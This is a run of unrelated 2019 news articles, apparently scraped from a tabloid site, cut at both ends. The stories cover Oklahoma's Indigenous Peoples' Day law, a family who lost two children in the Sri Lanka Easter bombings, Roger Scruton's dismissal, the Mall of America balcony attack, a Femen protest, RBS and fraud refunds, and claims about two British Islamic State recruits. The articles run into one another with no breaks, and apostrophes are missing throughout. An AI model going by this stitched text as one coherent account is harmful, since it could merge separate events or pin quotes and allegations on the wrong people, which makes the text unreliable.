October. Oklahoma Gov. Kevin Stitt on Friday signed a bill into law to celebrate a day for indigenous people on Columbus Day, thus combining the two holidays Stitt's signing of the bill was quickly praised by some of the state's most powerful tribal leaders. The change 'offers another opportunity to recognize Native Americans as an essential element in the fabric of Oklahoma history, heritage and society,' Chickasaw Nation Gov. Bill Anoatubby said in a statement. Cherokee Nation Principal Chief Bill John Baker said the day will be an opportunity 'for people across the state to celebrate and honor the significant contributions of Native tribes as well as the beautiful culture of our Native people.' For the past two years, President Donald Trump made no mention of the Native Americans who suffered and died en masse in the wake of Europeans' arrival in the New World in his annual proclamations honoring Christopher Columbus. His predecessor, President Barack Obama, acknowledged Native Americans in his 2016 proclamation: 'As we mark this rich history, we must also acknowledge the pain and suffering reflected in the stories of Native Americans who had long resided on this land prior to the arrival of European newcomers.' Less than a week ago, the only care in Oxford undergraduate David Linseys young life was the revision he needed to do for his finals in economics and management. That changed at 9.30am on Easter Sunday. I was woken by screaming chaos. My bedroom is in the basement. I went upstairs. My little brother Ethan and my mother were hysterical with grief. My brother told me what had happened. My mother couldnt speak. He said they were gone. They are Davids brother, 19-year-old Daniel, and sister Amelie, 15, who had been having breakfast with their father Matthew in a waterfront hotel in Sri Lanka, the Shangri-La, when one of eight terrorist bombs exploded. Both of them were kind, generous-hearted young people. Both were supposed to be flying home to Central London later that day. Both were killed. I -called my father, David recalls. He was at the hospital. Hed lost his voice. He was clearly very distressed. He had marks all over his face blood, shrapnel, but he was thinking clearly. He told us exactly what had happened and kept saying how sorry he was. It wasnt his fault but he felt he could have done things differently. They were only going for breakfast . . . He stops. The sheer horror of that video call is with him still. David with his sister Amelie on her 15th birthday in January. She died alongside her brother Daniel in the devastating bombing on Easter Sunday Amelie, a bright, adventurous girl who, David says, was beautiful from the inside out was with her brother, fetching their father a drink from the buffet bar, when the bomb exploded in Table One restaurant. His father remembers a wave of pressure. His children ran towards him. They tried to flee. A second blast went off. Mr Linsey, who arrived back in the UK on Monday, doesnt know which of the bombs killed them. You dont believe it, even when your father says it, says David. You think they might be confused. They might be wrong. You hope. I wanted to confirm it. My 11-year-old brother and mother were in hysterics. I wanted to establish what had happened. David, who has U.S. and UK citizenship because his father was born in America, called the American Embassy. I spoke to a guy who confirmed it. It still doesnt sink in. It still hasnt really. Maybe its beginning to for me but not for my mother. Davids mother Angelina is truly broken. She accompanies David to this interview in Central London, a stones throw from their home. She hasnt spoken to anybody, apart from her family, since that morning. Her grief is a fierce, terrible thing to behold. I want to speak about Danny and Amelie, she says. Amelie was always there for all of us. Ethan would go and talk to her about his day at school if he was worried about anything . . . She is holding Davids hand. Tightly. Hed sleep in her bed if he was worried, David explains. The Linseys pose by the Taj Mahal in 2014. The family have been on a few holidays together, including to to India and New York Mrs Linsey brightens at this memory. She would always give him hugs. You spoke to her about whatever you were doing. Angelina looks at her son. Dan spoke to her about what he was doing. All of us. All of us. She was always very calm and very fair. She knew inherently the right thing to do. We were going to go on a trip to New York next month and then wed planned a trip to Brazil. She wanted to go to Brazil . . . they were going to a buffet breakfast. Thats what they were doing. Mrs Linsey simply cant comprehend what has happened. My children are my best friends. We do everything together, she says. She met her husband, an investor in emerging markets, at Heathrow Airport by chance when she was 22 years old and had recently finished a law degree. It was a coup de foudre and, for the years that followed, she was wondrously happy, travelling the world with the children she stayed at home to raise. They show me photographs of the family in India, New York, Amelie in Hawaii, Mr Linsey and Amelie on a jet-ski in Vietnam, where they travelled before venturing to Sri Lanka. Amelie with her mother Angelina in 2018. Mrs Linsey accompanied her son David as he was interviewed about the tragic bombings Mrs Linsey had decided not to join them because 11-year-old Ethan wanted to spend the Easter holiday at home in London. She spoke to her children and husband by video-call every day. The idea was to take Amelie and Danny because Danny was starting university, so Matt wanted to spend that extra time with him before he started, says Mrs Linsey. I face-timed them every day. They were going to markets and doing cookery classes. They went to an elephant sanctuary. They went to a tea plantation and there was a lot of shopping because Amelie loved clothes. For me, the important thing was that they were fearless that they were never afraid to do anything and took things as far as they wanted to. Danny actually texted me that morning. It must have been very early morning . . . The sentence tails away. You can sense the what-ifs, the whys and the if-onlys shudder through her. Danny told you hed got some coconuts from the market, didnt he? David gently coaxes his mother. We found a couple in his suitcase when it came back on Wednesday. I dont know how they got past customs. Mrs Linsey had wanted to come to this interview to speak about her beautiful children, about her pride in her son Daniel, who suffered with learning difficulties, being accepted at Leicester University to study marketing and business, about her joy at the birth of each of her children. She tells me about the adventures that united this remarkable family stories, you sense, that have been shared time and again around the table at mealtimes. Stories like the time Mr Linsey and Daniel missed an internal flight while on holiday in China, so they hired a car with a crazy driver doing 100mph or something to meet up with the family again. Dan needed the bathroom and the driver didnt speak any English. They didnt speak any Mandarin. So my father remembers he has a picture of a statue of a guy peeing. So he gets it out, points to the statue and points to my brother. The guy pulled over. Daniel (pictured with his pet dog Coco) also tragically died in the Sri Lanka bombings on Easter Sunday Mrs Linsey laughs with her son. David lightens. You know this remarkable young man is trying to ease the pain for his beloved mother in any way he can. We very impressively missed a flight from Heathrow after staying at the airport hotel, David continues. I dont know how we missed that. I think that was you taking a shower, his mother teases. We missed a flight in Japan . . . . . . because I wanted a cake, David finishes and they laugh together. But again Mrs Linsey drifts away from the present. They were supposed to be coming back that day, she says. The thought overwhelms her. She has been talking about her children for half an hour. It is the longest she has spoken since her family and her life were so cruelly torn apart. She cant speak any more, but wants David to continue. The Linseys are setting up a foundation to help fund medical equipment for the hospital in Sri Lankas capital, Colombo, where the childrens bodies were taken. Mr Linsey has told his son how rudimentary the hospital was. It made no difference to his siblings, but better equipment might well have saved some of the other 251 lives. My dad suggested calling it Love Is The Answer after his and my sisters favourite song, says David. My dad had a particularly close bond with my sister. She was always a daddys girl. He takes a sip of water and draws strength from goodness knows where to continue. I think we should have their names on it. Call it the Amelie and Daniel Linsey Foundation, so they live on. We want to hear about them. Its very important we remember the local victims as well. We hear about the eight Britons who died but we dont even know the names of the Sri Lankans. He doesnt want to dwell on the terrorists who wreaked such destruction: I dont think its the time to talk about the people who did this to us. St. Sebastian's Church in Negombo, north of Colombo, Sri Lanka was targeted by bombers on Easter Sunday Security forces inspect the scene after a blast targeting Shangri La hotel in Colombo, Sri Lanka on Easter Sunday Sri Lankan Police officers inspects a blast spot at the Shangri-la hotel in Colombo a day after a bomb ripped through the building On Tuesday, he and Mr Linsey are attending a conference for the private sector against extremism. The conference is being hosted by, among others, the father of one of his closest friends, who happens to be Muslim, so David was going to be there anyway. Now my fathers coming too, he says. Its a time for loving, not hate. Religion, for this family, is about celebration, not discord. David and his siblings were raised in their fathers Jewish faith. His mother is a Catholic. There wasnt a war of traditions, he says. We celebrate Hanukkah. We celebrate Christmas as well. Everyone acknowledges each others faith. Wed always drop my mother off at church on Christmas Day. How you can give to the Amelie & Daniel Linsey Foundation 1. Anyone wishing to support the foundation can make cheques payable to The Amelie & Daniel Linsey Foundation and post them to c/o The Daily Mail, 2 Derry Street, London W8 5TT 2. Use online banking to make a transfer: Sort code: 50-00-00 Account number: 20769512 Payee name: The Amelie and Daniel Linsey Foundation Advertisement My grandmother is a very strong Catholic, so maybe she finds solace in that. She has been very strong for my mother because shes the one who needs it her and my brother. My sister was his best friend so he has taken it very hard. My father and I cant afford not to be strong. My father and I came up with the idea of a foundation when we were thinking about who Daniel and Amelie were as people how much charity work theyd done. My brother spent some time last year helping in a village in Ethiopia. His passion is people and places. He was much more vocational than me. He worked harder than any of us, I think. He tried. Given what we were told to expect from him [he is referring to his brothers learning difficulties], he was by far the most impressive of any of us. I remember the day he was born, going to the hospital and seeing my brothers cot. Its probably my earliest memory. I was only two years old. I remember the cot was navy blue. I remember the day my sister was born, coming into my parents room and finding my grandmother there. Thinking whats going on? and going to the hospital, seeing my sister in a cot that looked like a tray. We say people live on within us but you have to fight every day to make sure they do. What really struck me is, when my friends flew back to support me three from America, one from Italy, five or six people flying back within a couple of days I realised Id only made a few of these friends recently. I cried when I thought Amelie hadnt got to the age I had when I met these people, because she really deserved it. When I think of the things shell never do. She wont be at my wedding. She wont be there along the way through my life and I wont see the people she and my brother would have become. Its cruel to have that taken away. In truth, if David is a measure of his brother and sister, it is a loss for all of us. He is an exceptional young man who shows a strength of character far beyond his years. Ask him where he finds this strength and he says: From my father, my mother and a lot from my friends, who allow me to be strong for my family. I can be as emotional as I want with them. Get it out, so I can be here for my family to be emotional to me. Im very lucky with the support Ive got. Sri Lankan soldiers secure the area around St. Anthony's Shrine after a blast in Colombo on Easter Sunday Burials for the dead began earlier this week in Negombo, pictured. The attacks have sparked local and international outrage, and have been condemned by Sri Lankan Muslim groups Davids first friend arrived at the family home within hours of his conversation with his father. Its something you expect to hear about on the news, not on the other end of the phone, he says. I tried to stop my mother becoming completely, completely hysterical but there was nothing I could do. I just sat down with her. My aunt came and I phoned my best friend. She waited outside for a while until we could console my mother for a bit, then came inside. Of course, you wonder why them and not us, but we dont need to wonder why. We know why. We just didnt go. Theres no reason beyond that. I had exams. My brother didnt want to go, so we know exactly what happened. It was bad luck. Nothing more. I manage to sleep. Not extremely well. Someone has slept on my bed every night. Ive woken up in the middle of the night most nights. You think its a dream definitely for the first two nights. Now its just reality. When Mr Linsey returned home to his family, David met him at the airport. Hes being remarkably strong, he says. I think hes doing as well as one can in these circumstances. His bond with my siblings was so close. I cant imagine what hes feeling. We worry about Daddy, mainly for his heart because hes had a few heart problems, but the love that my father has given us David swallows. His voice is barely above a whisper. Every time someone needs him, hes there. He always knows the answers. He always tells the truth. Every time he walks in a room you feel safe. Hes so generous. Hes so unpretentious. He doesnt have a bad side. My dad has survivors guilt 100 per cent. The rest of us to a lesser extent but really my dad because he was right behind them. On Wednesday, Mr Linsey spoke of the familys wish to have the bodies home as a matter of absolute urgency. Sri Lanka held a three-minute nationwide silence at 8.30am earlier this week - the same time the first of six bombs detonated on Sunday morning The government has said the National Thowheed Jamaath (NTJ), a little-known Islamist group, was behind the violence, but said they believed the organisation had international help David agrees. Wed love to have the bodies back. Were terribly disappointed with all that. I understand theres a criminal investigation but, I dont know . . . particularly for my mother it will give a sense of closure at least. Youve seen her. Shes inconsolable. My mother has always been there for us. My father has always been there for us. Theyve never brushed us off, always answered our questions. Always helped us achieve what we want to achieve. Always . . . He stops, his eyes full of intolerable pain. Of course, now everything seems so trivial. Like trying to focus on an equation after this has happened. You think, How can I possibly be thinking about this? All that matters is making sure my brother and my sister are remembered. Which they will be now. Grieved for and remembered by us all. Sir Roger Scruton has said that the 'witch hunt' of people on the political right is getting worse, following his dismissal over his comments on Islamophobia. The former government advisor has expressed his concerns around the silencing of a 'conservative voice', as he challenged remarks he made to the New Statesman publication last month. The 75-year-old had been dismissed as a housing tsar following the interview, with Downing Street then accusing him of making comments which were of a 'deeply offensive and completely unacceptable' nature. The former Chairman of the Building Better Building Beautiful Commission has now said the way his views were presented in the magazine were such as to 'cause some kind of scandal'. Last year the government stood by Roger Scruton (pictured above) after it emerged he has claimed there was no such thing as date rape and that homosexuality was not normal Theresa May (above) dismissed calls to fire the academic in November last year Speaking to BBC Radio 4's Today programme he said the Conservative Party had 'disassociated itself' from some members. 'We get identified, caricatured and demonised and made to look as though we are some kind of sinister, fascist, racist kind of people. Theresa May faced a new racism storm after Government adviser Sir Roger Scruton (above) made a series of inflammatory remarks in a magazine interview 'And as soon as the Conservative Party sees one of us being demonised in this way they rush to disassociate themselves from us. 'This happened, you know, so I gather on social media - all kinds of MPs saying 'Oh, he's not one of us' - and there I am, out in the cold, my only fault having been trying to defend them. 'This kind of witch-hunting of people on the right is something which is getting worse in our societies - we've just seen it with Jordan Peterson in Cambridge, with Ryszard Legutko in America - all the people who are absolutely first-rate thinkers who should be in there, in the dialogue so we have some of their wisdom, but we are being excluded.' In November the Government dismissed calls to fire the academic as a housing adviser after it emerged Sir Roger had said Islamophobia was a 'propaganda word' and described homosexuality as 'not normal'. Sir Roger came under renewed criticism after commenting on the controversy last month. The New Statesman America quoted Sir Roger as repeating his claim that Islamophobia was a propaganda word 'invented by the Muslim Brotherhood in order to stop discussion of a major issue'. The academic, who advised the Government on housing policy, told the New Statesman that Islamophobia was 'a propaganda word invented by the Muslim Brotherhood in order to stop discussion of a major issue'. And of claims Jewish billionaire George Soros wields too much influence over Europe he said: 'Anybody who doesn't think that there's a Soros empire in Hungary has not observed the facts.' Sir Roger also rejected claims of mounting extremism in Hungary as he said 'the Hungarians were extremely alarmed by the sudden invasion of huge tribes of Muslims from the Middle East'. A Ministry of Housing, Communities and Local Government spokesperson said: 'Professor Sir Roger Scrutons comments distracted from the important work of the Building Better Building Beautiful Commission. He was dismissed with immediate effect.' Landen Hoffmann has woken up and is no longer in critical condition The family of a five-year-old boy who was thrown off a third-story balcony at the Mall of America two weeks ago has confirmed he is 'alert and conscious'. Landen Hoffmann's family said in a statement he had woken up and is no longer in critical condition. 'All praise, glory and honor to God! He saved our sons life and is healing him in the most miraculous ways,' the statement reads. 'We are so elated to let you know that our son is now alert and conscious and is no longer in critical condition. 'We are now turning our focus to additional surgeries, healing, rehabilitation and eventually a return home, which we hope will happen by June. 'We want to personally thank each and every one of you for your love, prayers and support. We are astounded and so blessed by the over 28,000 individuals and families, from literally around the world, that have donated to our gofundme page. 'Your love and generosity overwhelms and means so much to us. We have no idea where we would be without you - God and your prayers have sustained us.' A fundraising page has now hit $1 million to cover little Landen's medical costs. It comes less than a week after Mac Hammond, the pastor at the boy's church in Woodbury, Minnesota, updated the congregation on the child's condition during an Easter service. He said the boy recently underwent a five hour MRI test to assess the damage from the traumatic fall on April 12. 'There was zero evidence of brain damage - there wasn't even swelling,' Hammond revealed in a video obtained by Fox9. 'No spinal chord injury, no nerve damage, no internal injuries that were life-threatening.' He said that doctors who repaired damage to the boy's face, namely his nose and cheek bones, 'were amazed at how everything just kind of fell back into place'. A fundraising page has now hit $1 million to cover little Landen's medical costs Stuffed animals and flowers have been left on the ground where Landen landed Hammond also claimed that one of Landen's doctors had compared the boy's injuries to 'falling off a bicycle' and declared: 'This is truly a miracle.' The family's attorney did not confirm nor deny Hammond's remarks but did clarify that the comment comparing the boy's injuries to a bike accident referred only to his facial injuries, not his health overall. Previous reports claimed that Landen suffered two broken arms, a broken leg and a skull fracture as well as some small internal bleeding in the fall. The family agreed to release the video of Hammond's sermon on Sunday, during which he described visiting Landen in the hospital last week. The pastor said the boy's mother had experienced a 'premonition' when she entered the mall in Bloomington to meet another mom and her son, Landen's friend, on the day of the attack. 'The holy ghost gave her a warning. In her words, a dread came over her,' Hammond said. Pastor Hammond said that Landen's mother experienced a 'premonition' when she entered the Mall of America on the day her son was attacked. Emergency personnel are seen tending to the boy after he fell 40 feet and landed on the stone floor He said the mom didn't want to turn around and leave because they had made plans to meet another mother and one of Landen's friends, so instead she prayed. Minutes later she watched in horror as her son fell 40ft and landed on the stone floor. Hammond said that as she rushed down the stairs to his side, she told the horrified witnesses: 'Just pray. Don't say anything. Just pray.' Emmanuel Aranda, 24, was arrested and charged with attempted premeditated first-degree murder for the attack, according to Bloomington police. He is being held in Hennepin County Jail in lieu of $2million bail and is scheduled to appear in court on May 14. Aranda allegedly told police that he went to the mall looking for someone to kill as revenge for being rejected by women there for several years. A criminal complaint filed in Hennepin County on Monday says Landen and his mother were standing outside a restaurant when Aranda came close to them, picked up the child and tossed him over the balcony. The complaint says Aranda told police he had been coming to the mall for several years seeking to talk to women, but had been rejected and it caused him to lash out. Several witnesses claimed to have watched as a man walked up to Landen and his mother outside of a the Rainforest Cafe at the sprawling Mall of America and launched the child over the railing as his mother cried out. The mother screamed hysterically while a bystander chased Aranda down before the suspect shoved him against a wall. Aranda kept running until police were able to capture him on the light-rail train outside the mall. When he was being arrested, the suspect reportedly remained calm and did not question why police had stopped him. Aranda allegedly told police that he knew what he was planning to do was wrong. He said he came up with the idea to kill someone one day earlier and was planning to target an adult because 'they usually stand near the balcony', the criminal complaint said. This sketch shows Aranda in court on April 16 as his bail was set at $2million. The 24-year-old's next court appearance is scheduled for May 14 Emmanuel Aranda, 24, was arrested and charged with attempted premeditated first-degree murder for the attack, according to the Bloomington Police Department The suspect's uncle, Francis Aranda, told KSTP that his nephew had displayed violent tendencies since childhood. 'He has a serious mental problem, he was diagnosed as a child,' the relative said. He added: 'We are going to pray for that baby [Landen] because what happened is so unfortunate, but it's going to bring light to mental illness, I hope he [Aranda] doesn't go to jail, he needs help.' Bloomington Police confirmed Aranda had been banned from the mall twice before, but the most recent ban had since expired. Aranda's criminal record includes two convictions in 2015 for obstruction of the legal process/interfering with a peace officer, as well as convictions for fifth-degree assault, trespassing and damage to property. Court records show Aranda was arrested on July 4, 2015, after police said he matched the description of a man throwing things off the upper level of the Mall of America to the lower level. Police say Aranda refused to give his name and resisted arrest during that incident. He was also accused of walking into a store and sweeping his hand across a display table, breaking glasses. In October 2015, Aranda was accused of throwing glasses in Twin Cities Grill in the mall. The complaint says Aranda approached a woman who was waiting for the restaurant to open and asked her to buy him something. The woman refused, and Aranda allegedly threw a glass of water in her face and a glass of tea that struck her leg. Aranda was under a trespass notice at the time banning him from the mall until July 4, 2016. Police said there is also a warrant for Aranda's arrest in Illinois for assault stemming from an incident at a Chicago restaurant when he allegedly threatened to slit a employee's neck. According to his LinkedIn profile, Aranda has been employed as a janitor for Personnel Plus for the past two years. It also says he is pursuing a psychology degree at Minneapolis Community and Technical College and expects to graduate in 2022. Advertisement Semi-naked Femen activists on Friday disrupted the last meeting of the far-right Spanish Vox party ahead of parliamentary elections on Sunday. With the anti-Franco slogan 'They shall not pass' daubed on their naked breasts, three of the feminist activists got on stage at Madrid's Columbus Square before the arrival of Vox leader Santiago Abascal. The women shouted 'It's not patriotism, it's fascism', a message that was also written on their bodies. An activist from the women's rights organisation Femen protest on the stage before the start of Spanish far-right party VOX last campaign rally in Madrid They were arrested and taken away to the boos of Vox supporters. Since the death of dictator Francisco Franco in 1975, Spain had been one of the few European countries with no far-right party to speak of. But in Sunday's elections Vox, with its ultra-nationalist rhetoric, could make a dramatic entrance in the national parliament, gaining some 30 lawmakers out of 350, according to polls. Practically non-existent in opinion polls a year ago, Vox leapt onto the scene in December regional elections in Andalusia, taking nearly 11 percent of the vote. Its support was key to helping the conservative Popular Party (PP) and centre-right Ciudadanos take power in the southern region that had traditionally been a socialist bastion. A protester is lifted and taken away by police during an electoral campaign closing rally of Spain's far-right party VOX The women shouted 'It's not patriotism, it's fascism', a message that was also written on their bodies Two of the Femen protesters are detained by police after disrupting the VOX closing rally on April 26 Vox, with its ultra-nationalist rhetoric, could make a dramatic entrance in the national parliament, gaining some 30 lawmakers out of 350, according to polls. An activist from Femen with the text 'it is not patriotism but fascism' on her chest An activist from the near-nude group is removed from the stage as she shouts slogans against Spain's far-right VOX party Spanish far-right party VOX' candidate for prime minister Santiago Abascal delivers a speech during their last campaign rally An activist from the women's rights organisation Femen protests as she is hauled off stage in front of VOX supporters The departing boss of bailed-out Royal Bank of Scotland has insisted that fraud victims should not be entitled to automatic compensation. Ross McEwan said that customers must take more responsibility for their actions if tricked into giving their savings to a conman. He warned that it is not RBSs job to give a refund to those who are reckless. His comments infuriated campaigners who believe many vulnerable individuals get scammed after they have been forced online because their local branch has closed. Ross McEwan insisted that RBS already refunds victims of the most sophisticated frauds. Each scam is assessed case by case, he added. But campaigners last night declared this is not good enough and said that NatWest owner RBS must do more Mr McEwan who this week said he is standing down as chief executive said his priority is to educate customers, rather than automatically compensate them. He said: At this stage were thinking about how we work with customers. Weve got a big programme of education. We, including the media, have a major job to do of educating people not to give details away. We have to do this with customers they cant just say Oh, it was the banks fault I gave my details away. This is a collective responsibility. Mr McEwan insisted that RBS already refunds victims of the most sophisticated frauds. Each scam is assessed case by case, he added. The largest High Street banks, including RBS, have pledged to introduce a compensation fund. However, this is only guaranteed until the end of the year while a permanent solution is sought [File photo] But campaigners last night declared this is not good enough and said that NatWest owner RBS must do more. Gangs typically have highly-sophisticated methods and in-depth knowledge of the banks procedures, making them seem very credible. Ross McEwan warned that it is not RBSs job to give a refund to those who are reckless. His comments infuriated campaigners who believe many vulnerable individuals get scammed after they have been forced online because their local branch has closed Critics also argue that large banks are responsible for the fraud epidemic because they have shut hundreds of branches and launched aggressive marketing campaigns to persuade customers to go online. It can mean that older people who are not used to the internet have little choice other than to open a digital account making them easier targets for the con artists. RBS alone has axed around 1,400 branches across Britain since it was rescued with 46billion of taxpayers money in 2008. The Mail is campaigning for compensation for fraud victims. James Daley, of consumer group Fairer Finance, said: Ultimately I dont think its acceptable to allow individuals to lose everything because of a scam it undermines confidence in the whole system. Lets hope Ross McEwans replacement has more progressive views on this. Scam victims lost a total of 345million to so-called authorised push payment fraud last year, where a customer is tricked into transferring the money to a criminal. Only 83million of this money was recovered, according to trade body UK Finance. The crooks often pose as respectable figures such as a policeman or member of the banks staff. They often use legitimate accounts to receive the money. Campaigners say these accounts should be rigorously policed and shut down if suspected of accepting the proceeds of fraud. TSB earlier this month became the first bank to guarantee it will refund those hit by fraud in almost all cases, and the rest of the industry is under heavy pressure to follow suit. My 9-month fight for 17k Gemma Church has been battling with RBS-owned NatWest for nine months Gemma Church has been battling with RBS-owned NatWest for nine months after fraudsters stole 17,600 from her account. Last July Miss Church who works for a housing association began receiving calls from fraudsters posing as NatWest. They told her that there had been unusual activity on her account. They said she would need to move her savings to new accounts. Miss Church, 30, asked why the caller was using a private number. The fraudsters rang back from a number matching that on her debit card. Miss Church, from Birmingham, said: NatWest has not been sympathetic at all. NatWest said it would revisit Miss Churchs case as a matter of priority. Advertisement The largest High Street banks, including RBS, have pledged to introduce a compensation fund. However, this is only guaranteed until the end of the year while a permanent solution is sought. Gareth Shaw, of Which?, said: TSB has rightly recognised that the industry is far better placed to spot scams than customers, and that victims deserve refunds. Other banks must now follow their lead. RBS said it is concerned that automatic compensation could lead to payouts for customers who are negligent with their bank details. Sources said it did not want to stop victims of complicated scams from having redress. A picture of NHS doctor Issam Abuanza who deserted his wife and two children in Sheffield to join Islamic State in Syria Two British health workers who sneaked into Islamic State territory carried out Nazi-style medical experiments on prisoners, Syrian witnesses claim. Issam Abuanza, 40, a former NHS doctor who left behind his wife and two children in Sheffield when he travelled to Syria in 2014, was appointed the terror groups health minister, the British Government believes. Abuanza, now thought to be hiding in caves near the village of Baghouz, carried out such brutal torture on his victims that even IS fighters opposed it. He appointed Mohammad Anwar Miah, also 40, a former pharmacist from Birmingham, who helped him remove organs from detained prisoners, the Syrian witnesses claim. The body parts were either transplanted into injured jihadis, passed on to middle men who sold them on the black market to fund terror, or put in the cells of prisoners to frighten them, it is alleged. A ten-man medical team headed by Abuanza also allegedly carried out chemical tests on prisoners, it is claimed. The exact nature of the chemicals are unknown. The allegations are at odds with Miahs account of his years with the group, which he gave to the Daily Mail from northern Syria just weeks ago. This newspaper has since been able to piece together an extraordinary alternative account of the pairs lives inside the brutal terrorist organisation. Details of their alleged roles come from activist group Sound and Picture, whose members lived under the jihadis rule and closely followed their activities. Mohammed Anwar Miah left the UK for Syria after being struck off as a pharmacist for falsifying records Western intelligence has corroborated some of the claims. Abuanza deserted his family in 2014 after ranting about the NHS, saying doctors were treated like beggars in Britain. He told overseas graduates sitting tests for their English language and clinical skills that they would need anti-psychotic drugs to work in the NHS. In one chilling online post, he said he wished that a Jordanian pilot burnt alive in a cage by Islamic State had taken longer to die. Miah, who renamed himself Abu Obayda al-Britani once he joined IS, left Birmingham in September 2014 to sneak into territory held by the terror group. In his first newspaper interview in February, he told the Mail he never swore allegiance to the group and had gone there, illegally, for humanitarian work. He said he lived in the town of Mayadin in eastern Syria under IS rule for four years, and claimed to have met no other British citizens and to have treated only civilians. He said he worked there as an assistant orthopaedic surgeon, learning from a book as he went. But Sound and Picture claims he met Abuanza in Mayadin in 2015 and they became close. Both men shared the nickname Abu Obayda. Horrors of German concentration camps The Nazis carried out grotesque medical experiments in concentration camps during the Second World War. They included studies in which prisoners were forced into chambers that duplicated altitude conditions of up to 68,000ft. Others included the removal of sections of bone, muscle and nerves, including whole legs removed at the hips to transplant to other victims. Studies of hypothermia treatment involved prisoners standing naked in temperatures as low as -6C (21F) for hours. Josef Mengele spent hours examining twins at Auschwitz in an effort to find ways to more effectively multiply the German race. In many cases, he injected one twin with a mysterious substance and monitored the illness that ensued. Mengele, nicknamed the Angel of Death also applied painful clamps to childrens limbs to induce gangrene, injected dye into their eyes, and gave them spinal taps. Advertisement They worked in a hospital in the town, called Alteb Alhadith in Arabic, and it was there that Abuanza allowed Miah to perform surgery on civilians, it is claimed. That year, Abuanza was made ISs health minister. Aghiad al-Kheder, co-founder of Sound and Picture, said: Islamic State needed to show that it was a government not a radical group and so it appointed a minister for everything. Issam was minister for health which meant he was responsible for everything health related. He said Abuanza developed a reputation for his cruel techniques, adding: Issam first chose Mohammed Anwar he needed someone to help. Mr al-Kheder said they both went to work at the Pharmex Hospital in the city of Deir Ezzor in eastern Syria in February 2016. Anwar was involved in the transfer of human organs from the prisoners to members of IS and the human organ trade that was conducted by IS, he claimed. Later that year they returned to Mayadin, where Abuanza allegedly headed a team of nine others, including Miah as well as a Jordanian doctor, two Iraqis and five Syrians. According to witnesses, the group performed medical experiments on prisoners, transferred organs from prisoners to wounded jihadis, and were involved in the organ trade. Mr al-Kheder said one IS member described the methods of medical torture as Nazi-style and that they were considered even by fighters as brutal. He added: They experimented with torture and with chemical materials but we are not sure for what purposes. They used the materials on the prisoners. He also claimed the group put prisoners in an empty room and left them with dismembered bodies as a method of torture. Mr al-Kheder said Islamic State leader Abu Bakr al-Baghdadi visited the Mayadin hospital in 2017 when he was injured. Miah was working in the hospital at the time but it is not known if he directly communicated with al-Baghdadi. The most up-to-date information suggests Abuanza was in the town of Hajin in eastern Syria and then fled to caves east of Baghouz, the final stronghold of IS. Miah is one of more than six suspected jihadi Britons being held by the Kurdish-led opposition Syrian Democratic Forces, along with two members of the notorious Beatles gang responsible for beheading British hostages. He told the Mail in February that he wanted to return to Britain. He claimed he was innocent of any crimes, adding: I came here to do humanitarian work, I came here with that intention and thats what I did. I did not take part in any of these atrocities or incited any hatred or made any videos. I have never killed or hurt anybody. Miahs family declined to comment. Abuanza and his wife Sally lived in Sheffield with their two children. A former neighbour said Sally had moved away with her new boyfriend and had a baby with him. She could not be located for comment. After deserting family, British doctor became ISs minister for health Dr Issam Abuanza, a former NHS doctor from Sheffield, was appointed 'health minister' for ISIS. He is pictured reading the Koran while holding a rifle Issam Abuanza advanced quickly through the Islamic State ranks after he deserted his wife and two children in Sheffield in July 2014 to join the caliphate in Syria. By 2015, he was appointed the terror groups health minister, responsible for all the medical care in the territory under IS control, Syrian witnesses claim. Western intelligence sources said he was so senior that he had to have known about the brutal treatment of prisoners captured on the battlefield. Syrian witnesses claim Abuanza himself carried out the most barbaric methods of torture, using medical practices which even battle-hardened jihadis opposed. Abuanza, 40, is believed to be on the run in caves near the village of Baghouz in northern Syria. He worked in Britain for seven years before going to Syria. Palestinian-born but with British citizenship, Abuanza had previously ranted about the NHS, saying medical staff were treated like beggars. In comments on a bulletin board in April 2006, he listed things that foreign doctors should leave at home. He wrote: Your dignity, because you are a beggar here; your career, no progress as either locum or clinical observer, you wont write more than that in your CV; your future, there isnt any; and your family, no doubt. Despite his outburst, Abuanza secured a position at Glan Clwyd Hospital in Rhyl, North Wales, where he was working in July 2009. He also worked at Scarborough Hospital in North Yorkshire, where he posted an online video of himself praying in the on-call room. Later he moved with his family to Sheffield, where he is reported to have combined shifts as a registrar with running an online company selling kaftan dresses. Syrian witnesses said Issam Abuanza and Mohammad Anwar Miah, both 40, removed prisoners' organs and frightened other detainees with them, transplanted them into injured jihadis or sold them on the black market He wrote that 100 per cent of the profits of his business were going to Syria raising fears he may have been funding jihad. Abuanza, who comes from a family of doctors and dentists, trained as a doctor in Iraq in 2002 before gaining British citizenship. He is thought to be the first NHS clinician to join IS. His postings on social media revealed how he became increasingly radicalised. In a rant in March 2014, he expressed his disgust at doctors having to treat drunken yobs brought in to casualty by police. That July, Abuanza fled Sheffield, leaving his then 30-year-old wife penniless and with no means to support their daughters, aged six and four. Abuanza, who crossed into Syria soon after IS declared itself as an Islamic caliphate, appealed for other Western doctors to join him. A photo on his Facebook page showed him wearing scrubs and carrying a gun in a holster. In another, he is wearing combat fatigues, cradling an assault rifle and reading the Koran. Abuanzas sister Najla said in 2016 that his parents would never forgive him. Chemist who says he only did humanitarian work in Syria Mohammed Anwar Miah, the pharmacist from Birmingham, who is languishing in a Kurdish prison in Northern Syria. He claims he knew nothing of the evil of ISIS, despite deciding to join them, and says he has sent his time working in a hospital British pharmacist Mohammed Anwar Miah renamed himself Abu Obayda al-Britannia once inside Islamic States self-styled caliphate. He claimed he left his family home in Birmingham, where he was born, in September 2014 to travel to Syria to carry out humanitarian work. The 40-year-old re-emerged in video footage in September 2018 when he was detained in eastern Syria on suspicion of fighting for the terror group. Footage showed him blindfolded and handcuffed as he denied being an IS fighter, saying he was just helping the people in hospitals. He is currently languishing in a prison in north-eastern Syria. Miah was left jobless in 2013 after he was struck off the register for inventing phantom employees to enable him to work more hours in contravention of EU legislation. In his first newspaper interview, with the Daily Mail in February, he said: They took away something I worked for the whole of my life. They punished me so harshly. Miah crossed the border from Turkey on September 15, 2014. Speaking with a Midlands accent, Miah, whose family is of Bangladeshi origin, said he married a Syrian teenager in the town of Mayadin and had two children with her. He has not met his second child because he was detained when his wife was five months pregnant. He added that his children were British citizens and he would like them to go back to the UK with him. Miah is pictured here is a screen grab from a Twitter video of the moment he was caught by Kurdish forces Miah said he was innocent of any crimes and had travelled to the war zone to carry out humanitarian work. He added: Im not a danger to the public. But if they feel that I am a danger to the public I am more than happy to enter into any rehabilitation programme. Miah said he worked in a hospital in IS-held Mayadin, but had never treated a fighter unless by mistake because they were wearing civilian clothes. He said the worst thing he ever saw was a man being forced to stand in a cage and being humiliated for smoking a 